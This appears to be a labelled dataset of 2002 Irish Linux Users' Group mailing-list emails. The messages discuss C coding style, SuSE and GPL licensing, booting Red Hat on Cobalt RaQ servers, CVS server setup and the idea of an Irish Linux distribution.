wrote: > > Well, you should consider 'break' inside a 'select' statement > > to be part of the syntax, rather than a control flow modifier. > > Why? When it comes down to the assembly level, it gets turned > into some kind of jump instruction. Should I pretend I don't know > this when I'm programming? I know that. And no, you shouldn't. But see below. > > A _mandatory_ part of the syntax, at that. > > It's not mandatory. You can leave out the break, and the flow > of control will continue to the next case. Which can be useful > in certain circumstances. I know that, too. However, the discussion was tending towards ""don't use things like goto and break to alter flow of control in your program"". While not valid 100% of the time, it's a reasonable rule of thumb. The idea is that, when looking at code, it's easier to see how control moves through a function if your basic control blocks do all the work. The specific example of replacing a break in a while loop with a modified while() expression shows this. You only have to look in one place to see when you'll run off the end of the loop, not hunt through the whole loop. (Although that particular example wasn't really that good, since the extra test was adding on (... || done) and setting done = true in the loop. Which is much the same as a break really.) The idea is to surprise the next programmer as little as possible when he sees the code. In a similar vein, having a break in every case of a select block makes the flow much clearer. Flow goes in, zero or one case blocks are executed and flows comes out the bottom. Leaving out break statements breaks this assumption. My point is that, while there are a few situations where it makes sense to leave out the breaks, I usually tend to consider the break at the end of each case more like the brace at the end of the while block. In fact, maybe it wouldn't have been a bad idea if the language was designed such that the continue statement meant fall through and break wasn't needed: select (x) { case 1: /* do something - doesn't fall through */ case 2: /* do something - falls through to next case*/ continue; case 3: /* do something - doesn't fall through */ default: /* do something - doesn't fall through */ } Still, hindsight and all that. Sigh. Later, Kenn -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Mon, 12 Aug 2002 17:53:41 -0700",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Paul, my apologies for being irritable on the subject. I'll tone down the rhetoric. Quoting Paul Linehan (plinehan@yahoo.com): > Indeed - that I actually had understood prior to all this - for > example commercial entities with trial/limited/crippled editions. > > Which is no problem - I don't see why that should be a problem for > SuSE though - surely the more the merrrier as far as they're > concerned. Anything either you or I have to say about their motivation is speculation. Bearing that disclaimer in mind, here's mine: They make money from selling boxed sets. They're glad to make some versions available for almost-unrestricted distribution (not ""for value"") via CD duplication or the Internet that they estimate won't substitute for boxed-set sales. For example, they _could_ have packaged what I call the ""FTP edition"" in ISO9660 images. The fact that they didn't suggests to me that they see the inconvenience of mirroring FTP Edition i386 files (which, at the moment, are v. 8.0) as motivation for all but the really determined to buy boxed sets, instead. Likewise, they _could_ release a v. 8.0 (current) version of the ""evaluation"" single-disk ISO image. Instead, they always keep it several versions behind. This again seems like an incentive to buy a boxed set, after ""evaluating"" SuSE via the ISO image. Again, the above is my speculation (only) about their motivations. All we know of a certainty is what permissions they've granted, which are a bit messy and complex, but nonetheless quite clear. Those permissions, as a reminder, apply to the SuSE-produced components, YaST, YaST2, the distribution installer program, and possibly other utilities that I don't know of. _They_ wrote that code, and have every right to grant or withhold permissions as suit them best. > One can suspect what one likes. What I didn't understand was that SuSE > had proprietary extensions that it wasn't prepared to allow people to > use under the GPL or even under a FreeBSD style licence. Hmm, let's slow down, here: There's a persistent misconception that it's possible to place somebody else's work under a new licence without his permission. Not so. There is nothing in copyright law that would make that possible. The copyright _owner_ has inherent rights in his (e.g., software) work, and is entitled to issue as many _instances_ of his code under diverse licences as he wishes. (If he gives you a copy with no licence statement, there's effectively a default licence by operation of copyright law. To avoid going into a long digression, let me just say that it's a proprietary licence by default. That's why, in order to have open source software at all, there must be an explicit licence from the copyright holder.) No Linux distribution _ever_ entails relicensing people's software without their explicit permission -- since no such relicensing can occur at all. You cannot get away with taking SuSE Linux AG's work and redistributing it under what you claim to be a BSD licence, or the GPL, or anything at all other than what the copyright owner has specified, because you simply lack the right to do so. Claiming to do it would be copyright violation. > I thought that the model for the likes of SuSE was selling support and > customisation, rather than what I thought of as the core ""product"". I > thought that the likes of Yast came under core - maybe it worked in > the glory days before, say, 2001 - I can understand that they might > want to make more money, but the way in which they have done it, seems > to me, to be be against the spirit of the GPL. If Stallman and friends at the GPL (let alone Linus Torvalds and kernel contributors) had intended to prohibit putting GPLed works on the same CDs as proprietary ones, and selling the result only via retail stores (plus mail order, etc.) in shrink-wrapped boxes, I'm 100% certain they could and would have done so. Guess what? They did not. They didn't even require that anybody give you copies of the GPLed components, ever, at all. All they did was require that _if_ you received GPLed software lawfully, then you had to be able to get matching source code for a limited period, upon request. Spirit of the GPL, you say? I'd suggest that Stallman and company knew exactly what they were doing, and that the degree of access to GPLed software is exactly what they had in mind. > All I want is the OS and GNU apps. I was under the impression that for > *_those_* all one needed was to pay for the media and not for the code > itself? > > Ai-je tort? Mais si. You are indeed under a misconception, and may want to read the text of the GPL to verify this fact. The GPL does _not_ entitle you to a copy of any binary software. Section 2 provides for rights to access to matching source code _if_ you have lawfully received a copy of a covered binary. That section provides three alternative mechanisms for the distributor to provide such access. And SuSE _do_ actually provide exactly that access. Or so I think to be the case. If you believe there's some GPLed codebase that you can lawfully receive from SuSE whose matching source code they are not making available exactly as required, please tell us which codebase that is. (That would be SuSE Linux AG's headache, not any of ours, but it might be interesting to examine.) > My understanding was that binaries or whatever could be received for > the cost of the media plus a token of one's appreciation (the latter > being subject to agreement between the parties) - I was offering a > bottle of wine plus maybe a pint or two and a chat for a copy - I > don't know what the going rate is. Your understanding is almost correct, but not quite. (1) The access provisions of the GPL concern access to _source code_, not binaries. (2) It kicks in _only_ for people who've lawfully received covered binaries. (3) _Covered_ software means instances of codebases actually placed under the GNU GPL by their copyright owners. The mere act of placing a piece of software on a CD-ROM with GPLed software doesn't GPL it. In fact, the assertion to the contrary is a favourite FUD tactic from enemies of Linux: They're forever trying to convince software producers that using GPLed software in any way with their proprietary offerings will ""taint"" their copyrights and force them to put their property under the GPL. It's simply not so. > If I wanted support from SuSE, that would be a different issue, and > one for which I would be willing to pay. That's nice, but they're not _offering_ the exact contents of the boxed sets free of charge and lawful to duplicate & redistribute, or ""borrow"". For one thing, as you will have noticed from my earlier listing of components, the boxed sets' CD-ROMs include quite a lot of _third-party_ proprietary software. SuSE Linux AG _cannot_ allow you (or your friend) to hand out copies of that software freely, because it's not theirs in the first place. > I have a friend with 7.3 - I think that I'll end up doing that! If you mean the 3-CD core set of RH 7.3, good. It's a quite decent distribution. But bear in mind that the RH 7.3 boxed sets include some other third-party applications whose owners would be very upset to find them being copied or ""borrowed"". > I have now realised this, thanks to your kind explanations. I can > borrow them, but not copy them? No. Look, it's a collection of software, many elements of which may not be lawfully just given out to multiple people: Your friend installing it, then _not_ erasing it but merely letting you ""borrow"" the CDs results in the product being installed in multiple places. That's unauthorised copying. > And, as I've tried to explain, is not the licence terms on, say, > trials for commercial company x to which I object, it is the way SuSE > appears, at least to my I.T. peasant self, to have mixed up > proprietary and open stuff. Well, if you don't like SuSE, then you probably won't like Caldera eDesk, Xandros Desktop, Lycoris Deskop LX, Libranet, Lindows, or KRUD, either. Depending on your criteria, you also might not like Red Hat, Linux-Mandrake, or Yellow Dog, since all of those have boxed-set retail sets that include CD-ROMs that may not be publicly redistributed. (I don't even use SuSE. I'm just trying to clarify the licensing question.) -- Cheers, Live Faust, die Jung. Rick Moen rick@linuxmafia.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Kenn Humborg ,wintermute ,"Tue, 13 Aug 2002 01:51:09 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On Tue, Aug 13, 2002 at 12:48:18AM +0100, wintermute wrote: > Rick Moen wrote: > > > > Don't like SuSE's product licensing? Write your own distribution. You > > can even grab most of what you need _from SuSE_. All you have to do is > > heed the licensing terms on the individual pieces. > > > How unimaginably difficult is this to do? It shouldn't be too hard. Red Hat, for example, ships with everything you need to build a modified distribution. And it's all GPL (or free enough). > There are as far as I know, no Linux kernel hackers, Ahem. There are more than one. > nor distros > that originate from this fair island right? > Right. > > Yes it might be very,very difficult and subject to abject failure > in sticking together a distro.... call it Dolmen Linux (or other), > no doubt the packaging system would be one of the first places > such a suggestion would stumble. > Some (like me) favouring a FreeBSD style ports system others favouring > a Debian style system and others still favouring *rpm style packaging. > > That said other *LUG have done interesting things like making blackbox. > > Perhaps making a distro would be ..... umm.... fun. There was talk of this in the past. Taking a regular distribution like Red Hat or Debian and tweaking it for Ireland - things like translations, ISP setups, default bookmarks. Never took off. Why not try it yourself. Later, Kenn -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Jakma ,wintermute ,"Tue, 13 Aug 2002 03:22:54 +0100 (IST)",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On Tue, 13 Aug 2002, wintermute wrote: > There are as far as I know, no Linux kernel hackers, nor distros > that originate from this fair island right? Right. there are at least 3 irish kernel hackers (active/inactive) on this list. regards, -- Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A warning: do not ever send email to spam@dishone.st Fortune: Let the people think they govern and they will be governed. -- William Penn, founder of Pennsylvania -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Anders Holm ,ilug@linux.ie,13 Aug 2002 06:54:28 +0100,Re: [ILUG] RH7.3 on Cobalt - the saga continues,"John, let me guess, you haven't tried the boot parameter root=/dev/hda2 if you are using lilo?? //Anders// On Mon, 2002-08-12 at 17:49, John P. Looney wrote: > I'm getting places. > > Turns out that you can't have your /boot filesystem ext3, and the > /boot/vmlinux.gz file has to be a gzipped vmlinux file (not a vmlinuz one, > which though obvious...isn't, when you've been hitting your head off a > wall for a few days). > > Also, when you mkfs a filesystem that's called ""/boot"", as far as the > redhat /etc/fstab is concerned, it wipes that, so when you boot a rescue > CD, it doesn't mount /dev/hda1 as /boot, and doesn't inform you of this. > > (so, it's dead easy to work away on /mnt/sysimage/boot thinking you are > working on /dev/hda1, and wondering why no matter what you do, nothing > changes). > > Aaaaanyway. I have it booting the redhat kernel. But, the kernel isn't > loading root as /dev/hda2 - it keeps mounting /dev/hda1. > > Curiously, when I go into the boot prom, an use > > ""set_params"" I can tell it to mount /dev/hda2 as root. But then it uses > the PROM copy of the kernel (dodgy 2.2.16 kernel), which doesn't know > ext3, so wants to fsck up my disk. > > rdev on the vmlinux file, before gzipping doesn't work. I assume you > can't run rdev on the gzipped version. Any other ideas on how to tell a > kernel where it's root fs is ? > > Kate > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie -- Best Regards Anders Holm Critical Path Technical Support Engineer ======================================== Tel USA/Canada: 1 800 353 8437 Tel Worldwide: +1 801 736 0806 E-mail: technical.support@cp.net Internet: http://support.cp.net -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Tue, 13 Aug 2002 08:46:22 +0100",Re: [ILUG] RH7.3 on Cobalt - the saga continues,"On Tue, Aug 13, 2002 at 06:54:28AM +0100, Anders Holm mentioned: > let me guess, you haven't tried the boot parameter root=/dev/hda2 if you > are using lilo?? Ah, you see - cobalt's don't use lilo. They have an openboot-like prom that looks in an ext2 partition in /dev/hda1 for a file called /boot/vmlinux.gz - nothing else. The only way I think you can set parameters is with a ""set_params"" line. However, when I run set_params root=/dev/hda2 and then run: bfd /boot/vmlinux.gz It boots the old kernel, I assume from the prom. It seems to do this, if something goes wrong - no error, just boots the default kernel. BTW, 'bfd' means 'boot from disk'. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Tue, 13 Aug 2002 08:38:47 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On Tue, Aug 13, 2002 at 01:40:21AM +0200, Paul Linehan mentioned: > And, as I've tried to explain, is not the licence > terms on, say, trials for commercial company x > to which I object, it is the way SuSE appears, > at least to my I.T. peasant self, to have > mixed up proprietary and open stuff. Indeed. Personally, I think it's the sort of reprehensible behavior that split Unix way-back-when into the mess it was in a few years back, before Linux...got rid of most of them. Vendors wrote their own wierd-ass installers & config tools to lock people to their OS, they added all sorts of functionality that was not availible to other OSes to make themselves different from the competition (Motif on non-free OSes, incompatible filesystems etc). While a good idea when you share code & standards, in an environment where you do neither, the user suffers. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Tue, 13 Aug 2002 08:48:55 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On Tue, Aug 13, 2002 at 12:48:18AM +0100, wintermute mentioned: > How unimaginably difficult is this to do? There are as far as I know, > no Linux kernel hackers, nor distros that originate from this fair > island right? Right. Antefacto Embedded Linux...did. Nice little distro that'd run on a 64MB flash card (with 12MB free), with a read-only root filesystem. Perfect for little embedded systems. It was a very cut down version of RedHat 7.2. Must see can we release the build system & everything. That was the interesting bit. Distros, in general, are a waste of time. You've no idea how much better something like Debian or RedHat could be than something you did yourself, unless you picked a niche area. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,irish linux users group ,"Tue, 13 Aug 2002 09:02:53 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On Tue, Aug 13, 2002 at 12:48:18AM +0100, wintermute wrote: > How unimaginably difficult is this to do? > There are as far as I know, no Linux kernel hackers, nor distros that originate from this fair island right? > Right. i think there's a mailing list on linux.ie for this. also, there's niall's work on the bbc. no, not that bbc, the bootable business card. kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John Reilly"" ",", ""Ilug@Linux.Ie"" ","Tue, 13 Aug 2002 09:31:13 +0100",Re: [ILUG] CVS question,"Assuming cvspserver is actually running (try ""netstat -na | grep 2401"" to see if its there), make sure you have firewalling turned off or you have added a rule for it. > Hi, I'm setting up a CVS server on a RedHat 7.* box. First time. > > When I try to log in via telnet with an account that is in the ""cvs"" group > and run > > cvs login > password: xxxxx > > I get > > cvs [login aborted]: connect to localhost:2401 failed: Connection refused > > > > chkconfig --list returns > > xinetd based services: > linuxconf-web: off > swat: on > telnet: on > cvspserver: on > > As a cvs user > > [cvsdev1@localhost cvsdev1]$ echo $CVSROOT > :pserver:cvsdev1@localhost:/home/cvsroot/repository > > [cvsdev1@localhost cvsdev1]$ ls -la /home/cvsroot/repository/ > total 12 > drwxrws--- 3 cvs cvs 4096 Aug 12 11:26 . > drwxrwx--- 7 cvs cvs 4096 Aug 12 11:26 .. > drwxrwsr-x 3 cvs cvs 4096 Aug 12 11:26 CVSROOT > [cvsdev1@localhost cvsdev1]$ > > > > Where should I start looking? > > Thanks Justin > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Damian O' Sullivan"" ","""'Anders Holm'"" ,","Tue, 13 Aug 2002 09:48:48 +0100",RE: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"Was the Ultra 5 the sunray server? What images did you serve to the sunrays to boot them over tftp/dhcp? > > Hi Damian. > > SuSe has a Sparc version I previously been running on a Sun > Ultra 5 at > least. Worked fine, albeit a bit slow... ;) > > //Anders > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Damian O' Sullivan"" ","""'ilug@linux.ie'"" ","Tue, 13 Aug 2002 09:53:55 +0100",RE: [ILUG] RH7.3 on Cobalt - the saga continues,"> Curiously, when I go into the boot prom, an use > > ""set_params"" I can tell it to mount /dev/hda2 as root. But > then it uses the PROM copy of the kernel (dodgy 2.2.16 > kernel), which doesn't know ext3, so wants to fsck up my disk. Boot prom on a cobalt? Is this an old mips based one? How did you get to it? -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ryan, Shane"" ","""wintermute"" ","Tue, 13 Aug 2002 09:55:49 +0100",RE: [ILUG] SUSE 8 disks? (thread changed slightly),"hey, AFAIK it isn't hard at all to create your own modified version of the redhat distro. There's even a tarball[1] with this specifically in mind. The people who built the Ximian version of RedHat used a system similar to said tarball. Building a distro which uses a *BSD ports system rather than rpm, deb or whatever would complicate things a tad more IMHO. It *is* a good idea though. I've been wondering about the same thing for a couple of months now but always considered it too complicated to carry out. (If that makes any sense at all). I don't discount any other work like for example Niall's work on the B.B.C. but maybe there is general interest in an Irish distro. Anyone? Regards, Shane. -----Original Message----- From: wintermute [mailto:cout@eircom.net] Sent: 13 August 2002 00:48 To: ilug@linux.ie Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) Rick Moen wrote: > Don't like SuSE's product licensing? Write your own distribution. You > can even grab most of what you need _from SuSE_. All you have to do is > heed the licensing terms on the individual pieces. How unimaginably difficult is this to do? There are as far as I know, no Linux kernel hackers, nor distros that originate from this fair island right? Right. Yes it might be very,very difficult and subject to abject failure in sticking together a distro.... call it Dolmen Linux (or other), no doubt the packaging system would be one of the first places such a suggestion would stumble. Some (like me) favouring a FreeBSD style ports system others favouring a Debian style system and others still favouring *rpm style packaging. That said other *LUG have done interesting things like making blackbox. Perhaps making a distro would be ..... umm.... fun. Just a pseudo random thought. I'm only laughing on the outside My smile is just skin deep If you could see inside I'm really crying You might join me for a weep. <> -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ","""Damian O' Sullivan"" ","Tue, 13 Aug 2002 09:57:41 +0100",Re: [ILUG] RH7.3 on Cobalt - the saga continues,"On Tue, Aug 13, 2002 at 09:53:55AM +0100, Damian O' Sullivan mentioned: > > Curiously, when I go into the boot prom, an use > > ""set_params"" I can tell it to mount /dev/hda2 as root. But > > then it uses the PROM copy of the kernel (dodgy 2.2.16 > > kernel), which doesn't know ext3, so wants to fsck up my disk. > Boot prom on a cobalt? Is this an old mips based one? How did you get to it? This is actually a raq3. Though, I do have an old raq2 that Liam was helping me get netbsd on (about all you'll get on a 16MB machine these days). Anyway, I wussed out, and copied hda1:/ to hda2:/boot and set the bootfs to be hda2. It worked, though it's mounting an ext3fs as ext2. But I'm getting there. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Damian O' Sullivan"" ","""'ilug@linux.ie'"" ","Tue, 13 Aug 2002 10:03:14 +0100",RE: [ILUG] RH7.3 on Cobalt - the saga continues,"But how did you get to the prom on it? I have an assortment of qubes and raqs here and they have lcd displays but I see no way of entering commands that way. You using a serial cable or something? > This is actually a raq3. Though, I do have an old raq2 that > Liam was helping me get netbsd on (about all you'll get on a > 16MB machine these days). > > Anyway, I wussed out, and copied hda1:/ to hda2:/boot and > set the bootfs to be hda2. It worked, though it's mounting an > ext3fs as ext2. But I'm getting there. > > Kate > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Tue, 13 Aug 2002 10:19:53 +0100",[ILUG] SUSE 8 disks? (thread changed slightly),"> I don't discount any other work like for > example Niall's work on the B.B.C. but maybe > there is general interest in an Irish distro. > Anyone? I'll bite. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Tue, 13 Aug 2002 10:04:55 +0100",Re: [ILUG] RH7.3 on Cobalt - the saga continues,"John P. Looney wrote: > On Tue, Aug 13, 2002 at 09:53:55AM +0100, Damian O' Sullivan mentioned: > >>> Curiously, when I go into the boot prom, an use >>> ""set_params"" I can tell it to mount /dev/hda2 as root. But >>>then it uses the PROM copy of the kernel (dodgy 2.2.16 >>>kernel), which doesn't know ext3, so wants to fsck up my disk. >> >>Boot prom on a cobalt? Is this an old mips based one? How did you get to it? serial I would guess > > This is actually a raq3. Though, I do have an old raq2 that Liam was > helping me get netbsd on (about all you'll get on a 16MB machine these > days). > > Anyway, I wussed out, and copied hda1:/ to hda2:/boot and set the bootfs > to be hda2. It worked, though it's mounting an ext3fs as ext2. But I'm > getting there. > http://list.cobalt.com/pipermail/cobalt-developers/2001-February/026056.html Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ","""Damian O' Sullivan"" ","Tue, 13 Aug 2002 10:06:29 +0100",Re: [ILUG] RH7.3 on Cobalt - the saga continues,"On Tue, Aug 13, 2002 at 10:03:14AM +0100, Damian O' Sullivan mentioned: > But how did you get to the prom on it? I have an assortment of qubes and > raqs here and they have lcd displays but I see no way of entering commands > that way. You using a serial cable or something? Yep. Power on the box while pushing the recessed button near the LCD with a paper clip. On the serial console, you'll see ""press space to enter the prom"". It's a crap prom, but a prom, nonetheless. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Tue, 13 Aug 2002 10:01:17 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On Tue, Aug 13, 2002 at 09:55:49AM +0100, Ryan, Shane mentioned: > It *is* a good idea though. I've been > wondering about the same thing for a couple > of months now but always considered it too > complicated to carry out. (If that makes any > sense at all). It is to complex. Look at the mess that is gentoo. Just because you can do something, doesn't mean you should. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,ilug@linux.ie,"Tue, 13 Aug 2002 10:07:32 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"On Tue, Aug 13, 2002 at 09:55:49AM +0100, Ryan, Shane wrote: > distro. There's even a tarball[1] with this segfault. core dumped. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",Padraig Brady ,"Tue, 13 Aug 2002 10:07:44 +0100",Re: [ILUG] RH7.3 on Cobalt - the saga continues,"On Tue, Aug 13, 2002 at 10:04:55AM +0100, Padraig Brady mentioned: > http://list.cobalt.com/pipermail/cobalt-developers/2001-February/026056.html That isn't the problem - I've flashed the raq3 with the 2.3.40 PROM, a beta one, required to get the 2.4 kernel's booting. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ryan, Shane"" ",,"Tue, 13 Aug 2002 10:08:38 +0100",RE: [ILUG] SUSE 8 disks? (thread changed slightly),"hmm, I've never used gentoo so I'll have to take your word on that. Perhaps something similar to that Ximian RedHat dealy would be cool. Like a gui installer for slackware![1] ;] shane [1]I'm shure Patrick V. would love that.(not) -----Original Message----- From: John P. Looney [mailto:valen@tuatha.org] Sent: 13 August 2002 10:01 To: ilug@linux.ie Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) On Tue, Aug 13, 2002 at 09:55:49AM +0100, Ryan, Shane mentioned: > It *is* a good idea though. I've been > wondering about the same thing for a couple > of months now but always considered it too > complicated to carry out. (If that makes any > sense at all). It is to complex. Look at the mess that is gentoo. Just because you can do something, doesn't mean you should. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Matthew French"" ",,"Tue, 13 Aug 2002 10:07:43 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Kate P Looney wrote: > Vendors wrote their own wierd-ass installers & config tools to lock > people to their OS, they added all sorts of functionality that was not > availible to other OSes to make themselves different from the competition I think the words you are looking for are ""competitive advantage"" or ""differentiation"". Since most Linux vendors are businesses, they need to make money to survive[1]. To make money they need to sell products. To ensure they sell their product, they must provide something that other vendors do not. The down side is that this produces many variations of the same product. The benefit of open source is that there is a common standard which everyone can share. (The up side is that the competition drives the different organisations to constantly improve their product offering[2].) So unlike SunOS vs AIX vs HPUX vs Tru64, where the API's and available functionality were often starkly different, Linux distributions are mostly the same. While I may have to look in /var/named on Red Hat, and /etc/bind on Debian, the binaries are basically the same, as are the man pages. In most cases, doing a ""man named"" will reveal the compiled location of the config files. So long as this is understood, it is easy enough to administer most Linux distributions. I expect that as companies and public sector organisations begin to understand the open source paradigm, you will find even more distributions appearing. The reason I believe this is that deriving a new distribution from, say, Debian requires comparatively little effort. I would see this requiring slightly more effort than the amount of time many enterprise admins spend trying to customise the desktops, screen savers and software distribution mechanisms of their own organisations. IMHO, as always... - Matthew [1] Depending on your world view, this may be rephrased as ""they need to make oodles of profits and screw the little man to survive."" This discussion is beyond the scope of this list. :) [2] The often overlooked problem with competition is that it weakens the ""combatants"", leaving the field open for a less powerful force to take over and entrench its position (in this case I would be referring to Microsoft). However, I do not believe this will effect the Linux movement as all the vendors are obliged to work together to a great degree, thanks to the GPL. __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Tue, 13 Aug 2002 10:30:17 +0100",RE: [ILUG] SUSE 8 disks? (thread changed slightly),"> hmm, I've never used gentoo > so I'll have to take your word > on that. Perhaps something > similar to that Ximian RedHat > dealy would be cool. Like > a gui installer for slackware![1] > > ;] > > shane > > [1]I'm shure Patrick V. would love > that.(not) Or slackware with ports... not portage. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ryan, Shane"" ","""kevin lyda"" ","Tue, 13 Aug 2002 10:15:31 +0100",RE: [ILUG] SUSE 8 disks? (thread changed slightly),"bugger, lost the url to that site/tarball in question. I have it on a cd somewhere though. the bblcd toolkit is similar but is for building a cd-based distro.[1] shane [1]*this time* http://www.bablokb.de/bblcd/ -----Original Message----- From: kevin lyda [mailto:kevin+dated+1029661657.64143c@ie.suberic.net] Sent: 13 August 2002 10:08 To: ilug@linux.ie Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) On Tue, Aug 13, 2002 at 09:55:49AM +0100, Ryan, Shane wrote: > distro. There's even a tarball[1] with this segfault. core dumped. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Tue, 13 Aug 2002 10:33:43 +0100",RE: [ILUG] SUSE 8 disks? (thread changed slightly),"> > hmm, I've never used gentoo > > so I'll have to take your word > > on that. Perhaps something > > similar to that Ximian RedHat > > dealy would be cool. Like > > a gui installer for slackware![1] > > > > ;] > > > > shane > > > > [1]I'm shure Patrick V. would love > > that.(not) > > Or slackware with ports... not portage. Where ports==FreeBSD like and portage==Gentoo style, perhaps some would regard that as a retrograde step. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Matthew French"" ","""Ryan, Shane"" , ","Tue, 13 Aug 2002 10:15:11 +0100",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Shane Ryan asked: > ...but maybe there is general interest in > an Irish distro. I have my own thoughts on this, and would be very keen to create yet another new (and different) distro. Of course, it would require a minimum of EUR300,000 in funding, which is the reason I have not started this project myself... :( - Matthew __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Chris Higgins ,"ilug@linux.ie, iiu@taint.org","Tue, 13 Aug 2002 10:32:20 +0100",[ILUG] Ireland's hub just moved further away from the internet.,"Anyone notice that Esat have started routing most of their traffic through Concert... I've just had my first >32hop traceroute since the 1995(ish) So much for being at the heart of the Internet ! -- Chris Higgins Horizon e: chris.higgins at hts.horizon.ie tel: +353-1-6204900 fax: +353-1-6204901 -- Irish Linux 